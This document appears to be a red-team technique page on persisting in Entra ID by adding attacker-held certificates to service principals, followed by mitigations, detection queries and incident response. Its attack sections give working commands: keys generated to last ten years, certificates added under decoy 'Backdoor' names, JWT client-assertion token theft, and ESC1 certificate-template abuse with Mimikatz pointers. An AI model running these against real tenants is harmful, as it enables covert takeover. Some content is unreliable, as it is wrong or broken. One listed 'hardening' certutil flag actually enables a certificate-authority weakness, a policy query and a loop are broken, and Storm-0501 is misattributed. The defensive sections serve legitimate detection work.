MCADDF

PERSIST-ACCT-006: Service Principal Cert/Secret Persistence

1. METADATA HEADER

Attribute Details
Technique ID PERSIST-ACCT-006
MITRE ATT&CK v18.1 T1098.001 - Account Manipulation: Additional Cloud Credentials
Tactic Persistence
Platforms Entra ID
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions All (Entra ID, hybrid environments with certificate trust)
Patched In N/A (configuration control, not a vulnerability)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept

Service Principal Certificate/Secret Persistence is an advanced technique where attackers add X.509 certificates or cryptographic keys to compromised service principals (application identities in Entra ID) to maintain persistent, passwordless authentication. Unlike temporary secrets that expire or require rotation, certificates can be valid for years and provide authentication that bypasses user-based detection mechanisms. Service principals authenticate via client credentials grant flow using a public/private key pair—once an attacker controls the private key, they can silently authenticate as that service principal indefinitely. This technique is particularly powerful in hybrid environments where service principals are synchronized between on-premises Active Directory and Entra ID, or where certificates are chained to trusted Certificate Authorities (CAs).

Attack Surface

The attack surface includes:

Business Impact

Undetectable persistence, cross-tenant lateral movement, and privilege escalation through passwordless impersonation. Once an attacker holds a certificate for a service principal with high permissions (e.g., Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory), they can authenticate repeatedly without being logged as a “user” login. This bypasses anomalous sign-in detection, conditional access policies, and MFA enforcement. The attacker can then create additional backdoors, modify tenant policies, exfiltrate data, or escalate to Global Administrator. In the Semperis EntraGoat Scenario 6, attackers used certificate-based authentication combined with a rogue root CA to impersonate Global Administrators while satisfying MFA requirements.

Technical Context

Certificate-based persistence typically takes 5-15 minutes to establish (including certificate generation, key pair creation, and service principal modification). The technique generates minimal direct alerting—audit logs record the credential addition but may not trigger alerts if organizations don’t monitor for certificate issuance. Detection difficulty: Medium to Hard (certificates can be self-signed; X.509 validation requires inspecting certificate metadata, issuer CN, and validity dates). The attack chain often follows privilege escalation: attacker compromises a user with app registration permissions → escalates to Global Admin or Application Administrator → adds certificate credential to existing high-permission service principal → uses certificate for persistent authentication.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.17 Ensure that multi-tenant organization is not enabled; or if enabled, required organizational relationships are properly configured
CIS Benchmark 3.2.1 Ensure that guest user invitations are sent to a restricted domain; or guest users are disallowed to invite additional users
DISA STIG V-222645 The organization must enforce requirements for certificate-based authentication security.
DISA STIG V-222684 The application must log all certificate-based authentication attempts and accept only valid certificates.
NIST 800-53 IA-5(2) Authentication – Cryptographic-based authentication must use mechanisms validated under FIPS 140-2
NIST 800-53 IA-7 Cryptographic Module Authentication – Applications must use approved cryptographic algorithms
NIST 800-53 SC-12 Cryptographic Key Establishment and Management – Keys must have defined lifecycle and secure storage
NIST 800-63B 4.1.2 Out-of-Band Devices – Multi-factor authentication mechanisms must be properly validated
GDPR Art. 32 Security of Processing – Cryptographic keys must be encrypted at rest and in transit
GDPR Art. 5(1)(f) Integrity and Confidentiality – Unauthorized key usage violates data protection principles
DORA Art. 6 Governance of ICT third-party risk – Certificate issuance and validation must be audited
DORA Art. 15 Cryptographic key management – Keys must be rotated and securely stored
NIS2 Art. 21 Cyber risk management measures – Certificate lifecycle management is a mandatory security control
NIS2 Art. 22 Human resources security – Staff must authenticate using verified credentials
ISO 27001 A.10.1.2 Cryptographic Controls – Keys must be generated, stored, backed up, and destroyed securely
ISO 27001 A.9.4.5 Cryptographic key management – Key lifecycle includes generation, certification, storage, and retirement
ISO 27005 Risk scenario Compromise of cryptographic keys enabling unauthorized authentication and persistent access

3. TECHNICAL PREREQUISITES

Required Privileges

Required Access

Supported Versions

Tools


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Objective: Identify service principals without certificate credentials and verify certificate authority trust relationships.

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"

# List all service principals
$servicePrincipals = Get-MgServicePrincipal -All

# Enumerate service principals with existing certificates (potential targets for additional cert injection)
foreach ($sp in $servicePrincipals) {
    $keyCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
    
    if ($keyCredentials) {
        Write-Host "Service Principal: $($sp.DisplayName)"
        Write-Host "  AppId: $($sp.AppId)"
        Write-Host "  Certificate Count: $($keyCredentials.Count)"
        
        foreach ($cert in $keyCredentials) {
            Write-Host "    - Key ID: $($cert.KeyId)"
            Write-Host "      Start Date: $($cert.StartDateTime)"
            Write-Host "      End Date: $($cert.EndDateTime)"
            Write-Host "      Usage: Verify (Signature Verification)"
        }
    }
}

# Check for service principals with high permissions
Get-MgServicePrincipal -All | Where-Object { 
    $_.AppRoles | Where-Object { $_.Value -in @("Directory.ReadWrite.All", "RoleManagement.ReadWrite.Directory") }
} | Select-Object DisplayName, AppId, @{Name="HighRiskRoles"; Expression={$_.AppRoles.Value -join ","}}

What to Look For:

Azure CLI Reconnaissance

# List all service principals with certificate credentials
az ad sp list --output json | jq '.[] | select(.keyCredentials | length > 0) | {displayName, appId, certificateCount: (.keyCredentials | length)}'

# Get certificate details for a specific service principal
az ad sp credential list --id <service-principal-id> --output json

5. DETAILED EXECUTION METHODS

METHOD 1: Self-Signed Certificate Generation & Installation (Attacker-Controlled Key)

Supported Versions: All Entra ID versions; recommended for complete control

Step 1: Generate Self-Signed X.509 Certificate with Private Key

Objective: Create a certificate that only the attacker knows the private key for.

#!/bin/bash

# Generate RSA private key (4096-bit, industry standard for service principals)
openssl genrsa -out attacker-private-key.pem 4096

# Generate self-signed certificate valid for 10 years
openssl req -new -x509 -key attacker-private-key.pem -out attacker-cert.cer -days 3650 \
    -subj "/C=US/ST=California/L=San Francisco/O=ACME Corp/CN=ServicePrincipal-Automation-2024"

# Extract public key from certificate (this is what gets installed on the service principal)
openssl x509 -pubkey -noout -in attacker-cert.cer > attacker-public-key.pem

# Display certificate details (for verification)
openssl x509 -text -noout -in attacker-cert.cer

# Store private key securely (attacker keeps this)
chmod 600 attacker-private-key.pem
echo "Private key stored in: attacker-private-key.pem"

Expected Output:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: <random>
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, ST=California, L=San Francisco, O=ACME Corp, CN=ServicePrincipal-Automation-2024
        Subject: C=US, ST=California, L=San Francisco, O=ACME Corp, CN=ServicePrincipal-Automation-2024
        Not Before: Jan  9 00:00:00 2026 GMT
        Not After : Jan  8 23:59:59 2036 GMT
        Public-Key: (4096 bit, RSA)

OpSec & Evasion:

Troubleshooting:

Step 2: Convert Certificate to Base64 for API Submission

Objective: Encode the certificate in format required by Microsoft Graph API.

#!/bin/bash

# Convert certificate to base64 (required for Microsoft Graph API)
CERT_BASE64=$(cat attacker-cert.cer | base64 -w 0)

echo "Base64-Encoded Certificate:"
echo $CERT_BASE64

# Extract certificate thumbprint (used for identification)
THUMBPRINT=$(openssl x509 -in attacker-cert.cer -noout -fingerprint -sha1 | cut -d= -f2 | tr -d ':')
echo "Certificate Thumbprint: $THUMBPRINT"

# Store these values for next step
echo $CERT_BASE64 > /tmp/cert_base64.txt
echo $THUMBPRINT > /tmp/cert_thumbprint.txt

Expected Output:

Base64-Encoded Certificate:
MIIF...XQAw==
Certificate Thumbprint: A1B2C3D4E5F6...

Step 3: Add Certificate to Service Principal via PowerShell

Objective: Install the public certificate on the target service principal; attacker keeps the private key.

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"

# Target service principal
$targetServicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Target-App-Name'"

# Define certificate parameters
$keyCredentialParams = @{
    DisplayName = "PROD-Integration-Certificate-2024-Q1"  # Nondescript name
    StartDateTime = (Get-Date)
    EndDateTime = (Get-Date).AddYears(10)
    Type = "AsymmetricX509Cert"  # Specifies X.509 certificate (not password)
    Usage = "Verify"  # Certificate is used for signature verification (authentication)
    Key = [System.Text.Encoding]::UTF8.GetBytes((Get-Content "attacker-cert.cer"))  # Certificate public key
}

# Add certificate to service principal
$newKeyCredential = Add-MgServicePrincipalKey -ServicePrincipalId $targetServicePrincipal.Id @keyCredentialParams

Write-Host "Certificate Added to Service Principal!"
Write-Host "Key ID: $($newKeyCredential.KeyId)"
Write-Host "Start Date: $($newKeyCredential.StartDateTime)"
Write-Host "End Date: $($newKeyCredential.EndDateTime)"

Expected Output:

Certificate Added to Service Principal!
Key ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
Start Date: 1/9/2026 3:18:45 PM
End Date: 1/8/2036 3:18:45 PM

OpSec & Evasion:

Troubleshooting:

Step 4: Authenticate as Service Principal Using Private Key

Objective: Test that the certificate-based authentication works.

#!/bin/bash

# Variables
TENANT_ID="your-tenant-id"
CLIENT_ID="service-principal-app-id"
CERT_FILE="attacker-cert.cer"
KEY_FILE="attacker-private-key.pem"

# Create JWT assertion signed by the private key
# Step 1: Create JWT header and payload
HEADER='{"alg":"RS256","typ":"JWT"}'
PAYLOAD="{\"iss\":\"$CLIENT_ID\",\"sub\":\"$CLIENT_ID\",\"aud\":\"https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token\",\"iat\":$(date +%s),\"exp\":$(($(date +%s) + 3600))}"

# Base64 URL encode header and payload
HEADER_B64=$(echo -n $HEADER | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD_B64=$(echo -n $PAYLOAD | base64 | tr '+/' '-_' | tr -d '=')

# Create signature
SIGNATURE_INPUT="$HEADER_B64.$PAYLOAD_B64"
SIGNATURE=$(echo -n "$SIGNATURE_INPUT" | openssl dgst -sha256 -sign $KEY_FILE | base64 | tr '+/' '-_' | tr -d '=')

# Construct JWT
JWT="$HEADER_B64.$PAYLOAD_B64.$SIGNATURE"

echo "JWT Token (Client Assertion):"
echo $JWT

# Step 2: Exchange JWT for access token using client credentials grant
TOKEN_RESPONSE=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=$CLIENT_ID" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "client_assertion_type=urn:ietf:params:oauth:grant-type:jwt-bearer" \
  -d "client_assertion=$JWT" \
  -d "grant_type=client_credentials")

echo "Token Response:"
echo $TOKEN_RESPONSE | jq '.'

# Extract and use access token
ACCESS_TOKEN=$(echo $TOKEN_RESPONSE | jq -r '.access_token')

# Test Graph API access
curl -s -X GET "https://graph.microsoft.com/v1.0/users?$top=5" \
  -H "Authorization: Bearer $ACCESS_TOKEN" | jq '.'

Expected Output:

{
  "token_type": "Bearer",
  "expires_in": 3600,
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ijl..."
}

What This Means:


METHOD 2: PowerShell PKI Module with Self-Signed Certificate (Windows Native)

Supported Versions: Windows Server 2016-2025 with PSPKI module; Entra ID hybrid environments

Step 1: Generate Certificate Using Windows PKI Module

Objective: Create certificate on Windows without external tools.

# Import PKI module
Import-Module PKI

# Create self-signed certificate
$certParams = @{
    Subject = "CN=PROD-Integration-Service-2024"
    KeyAlgorithm = "RSA"
    KeyLength = 4096
    HashAlgorithm = "SHA256"
    NotAfter = (Get-Date).AddYears(10)
    CertStoreLocation = "Cert:\CurrentUser\My"
    Type = "CodeSigningCert"
}

$cert = New-SelfSignedCertificate @certParams

Write-Host "Certificate created with thumbprint: $($cert.Thumbprint)"
Write-Host "Subject: $($cert.Subject)"

Expected Output:

Certificate created with thumbprint: A1B2C3D4E5F6G7H8I9J0...
Subject: CN=PROD-Integration-Service-2024

Step 2: Export Private Key and Public Certificate

Objective: Extract certificate and private key for installation.

# Get certificate from store
$cert = Get-ChildItem -Path "Cert:\CurrentUser\My" | Where-Object { $_.Thumbprint -eq "A1B2C3D4E5F6..." }

# Export private key to PFX file
$pfxPassword = ConvertTo-SecureString -String "YourStrongPassword" -AsPlainText -Force
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\cert-with-key.pfx" -Password $pfxPassword

# Export public certificate (for Graph API)
Export-Certificate -Cert $cert -FilePath "C:\Temp\cert-public-only.cer"

# Convert to base64 for API submission
$certBase64 = [System.Convert]::ToBase64String((Get-Content "C:\Temp\cert-public-only.cer" -Encoding Byte))
$certBase64 | Out-File "C:\Temp\cert-base64.txt"

Write-Host "Certificate exported successfully"

Step 3: Add Certificate to Service Principal

Objective: Register the public certificate on the target service principal.

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Get target service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Target-Application'"

# Read certificate in binary format
$certBytes = Get-Content "C:\Temp\cert-public-only.cer" -Encoding Byte

# Add key credential to service principal
$keyCredential = @{
    DisplayName = "PROD-Cert-Backdoor-Q1-2024"
    StartDateTime = (Get-Date)
    EndDateTime = (Get-Date).AddYears(10)
    Type = "AsymmetricX509Cert"
    Usage = "Verify"
    Key = $certBytes
}

Add-MgServicePrincipalKey -ServicePrincipalId $servicePrincipal.Id -KeyCredential $keyCredential

Write-Host "Certificate successfully added to service principal"

METHOD 3: Leveraging Existing Certificates from AD CS (Hybrid Environments)

Supported Versions: Hybrid AD with Certificate Services; applicable to on-premises escalation + cloud backdoor

Step 1: Enumerate AD CS and Identify Vulnerable Templates

Objective: Find misconfigured certificate templates that allow arbitrary user/computer enrollment.

# Import Active Directory module
Import-Module ActiveDirectory

# Get all certificate templates
$templates = certutil -CATemplates | Select-String ":" | ForEach-Object {
    $_.Line.Split(":")[0].Trim()
}

foreach ($template in $templates) {
    # Check template permissions
    certutil -dstemplate -v $template | Select-String "Enrollment rights" -A 5
    
    # Look for templates that allow "Domain Users" or "Authenticated Users" enrollment
    if ($_ -match "Domain Users|Authenticated Users|Everyone") {
        Write-Host "VULNERABLE TEMPLATE: $template - Allows unrestricted enrollment"
    }
}

Step 2: Enroll for Certificate with Escalated Rights (ESC1)

Objective: Request a certificate for a privileged account using a misconfigured template.

# Request certificate as low-privileged user for a Global Admin
# This is the ESC1 attack (Certificate template abuse)

$certRequest = @{
    Template = "VulnerableTemplate"  # Found in Step 1
    SubjectName = "CN=GlobalAdmin@contoso.com"  # Impersonate Global Admin
    Exportable = $true
    SignatureAlgorithm = "SHA256"
}

# Use Certify tool or Mimikatz to request certificate
# Command example (using Certify):
# .\Certify.exe request /ca:ca.contoso.com /template:VulnerableTemplate /subjectaltname:GlobalAdmin@contoso.com

# Alternatively, use certreq command
$request = @"
[NewRequest]
Subject = "CN=GlobalAdmin@contoso.com"
MachineKeySet = FALSE
Exportable = TRUE
KeyLength = 4096
KeySpec = Signature
"@

$request | Out-File cert_request.inf
certreq.exe -new cert_request.inf cert_request.csr

# Submit request to CA
certreq.exe -submit -attrib "CertificateTemplate:VulnerableTemplate" cert_request.csr response.cer

Step 3: Use Certificate for Kerberos Authentication (PKINIT)

Objective: Authenticate to on-premises AD using the escalated certificate.

# Convert certificate to PFX for authentication
# pfx file contains both public cert and private key

# Use PKINIT to authenticate as the impersonated admin
$certPath = "C:\Temp\admin-cert.pfx"
$certPassword = ConvertTo-SecureString "password" -AsPlainText -Force

# Create credential using certificate
$pfxCert = Get-PfxCertificate -FilePath $certPath -Password $certPassword

# Authenticate to Kerberos
# This can be done via MIMIKATZ or direct PKINIT support:
# mimikatz # kerberos::pkinit /pfx:C:\Temp\admin-cert.pfx /password:password /user:GlobalAdmin@contoso.com /domain:contoso.com

# Obtain TGT (Ticket Granting Ticket) for the impersonated admin
# This TGT can be used to request service tickets and access resources

Step 4: Bridge to Entra ID (Hybrid Environment)

Objective: Use on-premises escalation to compromise cloud identity.

# Once authenticated as Global Admin on-premises, use Azure AD Connect or hybrid identity sync to escalate to cloud
# OR directly add credentials to Azure AD Connect service account (if accessible)

# Get Azure AD Connect service account
$aadConnectAccount = Get-ADUser -Filter "Name -like '*ADSync*'" -Property PasswordLastSet

# If account is compromised, extract its DPAPI-encrypted password from registry
# Then use to authenticate to Azure AD and modify directory sync settings

6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Mitigation 1.1: Implement Certificate Pinning and Validation Policies

Restrict which certificates are trusted for service principal authentication by implementing strict validation policies.

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDEnterprise Applications
  2. Select target service principal → ManageCertificate & Secrets
  3. Review Key Credentials section
  4. For each certificate:
    • Verify Issuer matches expected CA (e.g., Microsoft, DigiCert)
    • Verify Subject matches expected service principal
    • Check Expiration Date is reasonable (1-2 years for legitimate certs; 5+ years is suspicious)
    • Delete any certificates with suspicious issuers or extended validity
  5. Click Delete next to suspicious certificates

PowerShell Validation:

# Audit all service principal certificates
$suspiciousCerts = @()

$servicePrincipals = Get-MgServicePrincipal -All

foreach ($sp in $servicePrincipals) {
    $keyCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
    
    foreach ($cert in $keyCredentials) {
        $certAge = (Get-Date) - $cert.StartDateTime
        $yearsUntilExpire = ($cert.EndDateTime - (Get-Date)).Days / 365
        
        # Flag suspicious certificates
        if ($yearsUntilExpire -gt 8 -or $cert.DisplayName -match "Backdoor|Attacker|Persistence") {
            $suspiciousCerts += [PSCustomObject]@{
                ServicePrincipal = $sp.DisplayName
                CertificateName = $cert.DisplayName
                StartDate = $cert.StartDateTime
                EndDate = $cert.EndDateTime
                YearsValid = $yearsUntilExpire
                Suspicious = $true
            }
        }
    }
}

# Export suspicious certificates for review
$suspiciousCerts | Export-Csv -Path "C:\Reports\SuspiciousCertificates.csv"

# Remove suspicious certificates
foreach ($suspCert in $suspiciousCerts) {
    $sp = Get-MgServicePrincipal -Filter "displayName eq '$($suspCert.ServicePrincipal)'"
    Remove-MgServicePrincipalKey -ServicePrincipalId $sp.Id -KeyCredentialId $suspCert.KeyId
    Write-Host "Removed suspicious certificate: $($suspCert.CertificateName)"
}

Mitigation 1.2: Enforce Certificate Lifecycle Management

Implement automatic certificate rotation policies to limit the duration of any compromised key.

Manual Steps (Azure Policy):

  1. Azure PortalPolicyDefinitions+ Policy Definition
  2. Name: Enforce Service Principal Certificate Expiration < 2 Years
  3. Rule:
    resources
    | where type == "Microsoft.Authorization/roleDefinitions"
    | where properties.keyCredentials | length > 0
    | where properties.keyCredentials[].endDateTime > addyears(now(), 2)
    | project violating_resource = id
    
  4. Effect: Deny or Audit
  5. Assign to all subscriptions/tenants

PowerShell Rotation Script:

# Schedule this script via Azure Automation or scheduled task

# Connect to Graph
Connect-MgGraph -Identity

# Find certificates expiring > 2 years from now or already expired
$servicePrincipals = Get-MgServicePrincipal -All

foreach ($sp in $servicePrincipals) {
    $keyCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
    
    foreach ($cert in $keyCredentials) {
        $daysUntilExpire = ($cert.EndDateTime - (Get-Date)).Days
        
        # If certificate expires in > 2 years, schedule rotation notification
        if ($daysUntilExpire -gt 730) {
            Write-Host "ALERT: Service Principal $($sp.DisplayName) has certificate valid for $daysUntilExpire days (limit: 730)"
            # Send email alert to admin
            Send-MgUserMail -UserId "<admin@tenant.onmicrosoft.com>" -Message @{...}
        }
    }
}

Validation Command (Verify Fix):

# Check that all certificates have < 2 year validity
Get-MgServicePrincipal -All | ForEach-Object {
    $sp = $_
    $keyCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
    
    foreach ($cert in $keyCredentials) {
        $daysValid = ($cert.EndDateTime - $cert.StartDateTime).Days
        if ($daysValid -gt 730) {
            Write-Host "WARNING: $($sp.DisplayName) has certificate valid for $daysValid days"
        }
    }
}

Mitigation 1.3: Monitor and Alert on Certificate Additions

Detect when certificates are added to service principals (potential backdoor creation).

Manual Steps (Microsoft Sentinel KQL Query):

// Detect new service principal certificates with verification usage
AuditLogs
| where OperationName has_any ("Add service principal key", "Add application key", "Update application - Certificates and secrets management")
| where Result =~ "success"
| extend InitiatingAppName = tostring(InitiatedBy.app.displayName)
| extend InitiatingUserPrincipalName = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetResourceName = tostring(TargetResources[0].displayName)
| extend ModifiedProperties = TargetResources[0].modifiedProperties
| mv-apply Property = ModifiedProperties on (
    where Property.displayName =~ "KeyDescription"
    | extend newValue = parse_json(tostring(Property.newValue))
    | extend keyType = tostring(newValue[0].KeyType)
    | where keyType =~ "AsymmetricX509Cert"
)
| project TimeGenerated, OperationName, InitiatingUserPrincipalName, InitiatingAppName, TargetResourceName, keyType
| where TimeGenerated > ago(24h)

Deploy this query as an alert rule with 1-hour frequency and Medium severity.


Priority 2: HIGH

Mitigation 2.1: Restrict Certificate Authority Access

In hybrid environments, lock down AD CS access to prevent unauthorized certificate issuance.

Manual Steps (AD CS Certificate Authority):

  1. Open Certification Authority management console (certsrv.msc)
  2. Right-click CA NameProperties
  3. Certificate Managers tab:
    • Remove unnecessary users/groups
    • Ensure only authorized admins can issue certificates
  4. Security tab:
    • Verify only Admins have “Issue and Manage Certificates” permission
    • Remove “Everyone” or “Authenticated Users” if present

PowerShell:

# Audit certificate issuance permissions
certutil -caacls -d

# Remove dangerous template enrollment rights
dsacls "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com" `
    /R "CONTOSO\Domain Users"  # Remove Domain Users enrollment right

# Set to require admin approval for sensitive templates
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Mitigation 2.2: Enable Certificate Transparency Logging

Log all certificate issuance events for forensic analysis.

Manual Steps (Azure Audit Logging):

  1. Navigate to Microsoft Purview Compliance PortalAuditSearch
  2. Configure alerts for:
    • Operations: Add service principal key, Update application - Certificates and secrets management
    • Result: Success
    • Trigger: > 1 event in 24 hours
  3. Create Email Alert to notify security team

7. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Audit Events:

Suspicious Patterns:


Forensic Artifacts

Cloud Artifacts (Azure Audit Logs):

{
  "CreationTime": "2026-01-09T14:32:45Z",
  "UserPrincipalName": "attacker@contoso.com",
  "OperationName": "Add service principal key",
  "ResourceId": "/applications/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
  "TargetResources": [
    {
      "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
      "displayName": "Target-App",
      "modifiedProperties": [
        {
          "displayName": "KeyDescription",
          "newValue": "[{\"KeyIdentifier\":\"...\",\"KeyType\":\"AsymmetricX509Cert\",\"KeyUsage\":\"Verify\",\"DisplayName\":\"PROD-Cert-2024\"}]"
        }
      ]
    }
  ]
}

Certificate Store (Windows):

Entra ID (Graph API):

# Export all service principal certificates for forensic analysis
$servicePrincipals = Get-MgServicePrincipal -All

foreach ($sp in $servicePrincipals) {
    $certificates = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $sp.Id
    
    if ($certificates) {
        $certificates | Export-Csv -Path "C:\Forensics\ServicePrincipalCerts_$($sp.Id).csv" -Append
    }
}

Response Procedures

1. Isolate Compromised Service Principal

Objective: Immediately disable the service principal to revoke authentication capability.

# Disable the service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "appId eq 'ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj'"

Update-MgServicePrincipal -ServicePrincipalId $servicePrincipal.Id -AccountEnabled:$false

Write-Host "Service principal disabled. No further authentication possible."

2. Remove All Suspicious Certificates

Objective: Delete attacker-added certificates while preserving legitimate ones.

# Get compromised service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Compromised-App'"

# Get all certificate credentials
$allCerts = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $servicePrincipal.Id

foreach ($cert in $allCerts) {
    # Criteria for removal
    $isSuspicious = (
        $cert.DisplayName -match "Backdoor|Persistence|Attacker" -or
        ($cert.EndDateTime - $cert.StartDateTime).Days -gt 1825  # > 5 years
    )
    
    if ($isSuspicious) {
        Remove-MgServicePrincipalKey -ServicePrincipalId $servicePrincipal.Id -KeyCredentialId $cert.KeyId
        Write-Host "Removed certificate: $($cert.DisplayName)"
    }
}

3. Invalidate Attacker-Held Tokens

Objective: Revoke any access tokens issued using the compromised certificate.

# Sign out all sessions for the service principal
# This forces re-authentication, invalidating cached tokens

Invoke-MgGraphRequest -Method POST -Uri "/beta/serviceprincipals/$($servicePrincipal.Id)/revokeSignInSessions"

Write-Host "All tokens for service principal have been revoked."

4. Hunt for Lateral Movement

Objective: Determine what resources the compromised service principal accessed.

# Query Microsoft Sentinel for all Graph API calls from the compromised service principal
$query = @"
SigninLogs
| where AppId == 'ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj'  # Compromised app ID
| where TimeGenerated > ago(7d)
| summarize CallCount=count(), FirstAccess=min(TimeGenerated), LastAccess=max(TimeGenerated) by ResourceDisplayName, AppDisplayName
| sort by CallCount desc
"@

# Execute in Sentinel to identify which resources were accessed

5. Remediate Privilege Escalation

Objective: Remove any roles or permissions assigned to the compromised service principal.

# Remove directory roles
$servicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Compromised-App'"

$roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($servicePrincipal.Id)'"

foreach ($assignment in $roleAssignments) {
    Remove-MgRoleManagementDirectoryRoleAssignment -UnifiedRoleAssignmentId $assignment.Id
    Write-Host "Removed role assignment: $($assignment.RoleDefinitionId)"
}

Step Phase Technique Description
1 Initial Access IA-PHISH-002 OAuth consent grant phishing or password spray
2 Privilege Escalation PE-ACCTMGMT-001 Escalate to Application Administrator or Global Admin
3 Persistence Setup [PERSIST-ACCT-006] Add self-signed certificate to high-permission service principal
4 Persistence Maintenance PERSIST-ACCT-005 Add password secret as backup authentication method
5 Defense Evasion EVADE-IMPAIR-007 Clear audit logs to hide certificate addition events
6 Lateral Movement LM-AUTH-003 Use service principal to access cross-tenant resources
7 Data Exfiltration CA-TOKEN-004 Use certificate-based token to exfiltrate data

9. REAL-WORLD EXAMPLES

Example 1: SolarWinds Compromise (APT29/NOBELIUM) – December 2020

Target: U.S. Government agencies, Fortune 500 companies, and Microsoft

Timeline:

Technique Status: ACTIVE (evolved over multiple campaigns). APT29 created malicious OAuth applications and added certificates for persistence. They obtained ADFS private keys and forged SAML tokens signed by those keys, allowing them to impersonate any user in target organizations. The certificates were valid for years, enabling undetected access.

Attack Chain:

  1. SolarWinds update distributed malware (SUNBURST, SUNSPOT)
  2. Malware establishes C2 communication
  3. APT29 pivots to steal ADFS certificates and private keys
  4. Adds rogue certificates to service principals in target cloud tenants
  5. Uses certificates for passwordless authentication bypassing MFA
  6. Maintains access for 1+ year after initial compromise discovery

Impact:

Reference:


Example 2: Semperis EntraGoat Scenario 6 – Passwordless Persistence via CBA (2025)

Target: Simulated enterprise Entra ID environment

Technique Status: ACTIVE. This scenario demonstrates how attackers can:

  1. Compromise legacy service principal with leaked credentials
  2. Abuse service principal ownership to pivot to secondary service principal
  3. Modify tenant-wide settings using Organization.ReadWrite.All permission
  4. Enable Certificate-Based Authentication (CBA) in Entra ID
  5. Upload rogue root CA certificate to tenant
  6. Issue forged X.509 certificates for Global Admin accounts
  7. Authenticate as Global Admin using certificate (passwordless, MFA-compliant)

Technical Details:

Reference:


Example 3: Storm-0501 (Chinese APT) – Multi-Tenant Federation Attack (2024-2025)

Target: Cloud-dependent organizations with multi-tenant setups

Technique Status: ACTIVE. Storm-0501 abused Federation Trust Configuration Tampering and certificate-based authentication to:

  1. Compromise initial tenant with Global Admin access
  2. Register attacker-owned Entra ID tenant as trusted federated domain
  3. Upload rogue root CA certificate
  4. Issue certificates for privileged accounts in victim tenant
  5. Establish cross-tenant persistence

Attack Chain:

Detection:

Reference:



REFERENCES & AUTHORITATIVE SOURCES

Microsoft Official Documentation

Security Research & Analysis

Incident Response & Detection

Red Teaming & Proof of Concept

Compliance & Standards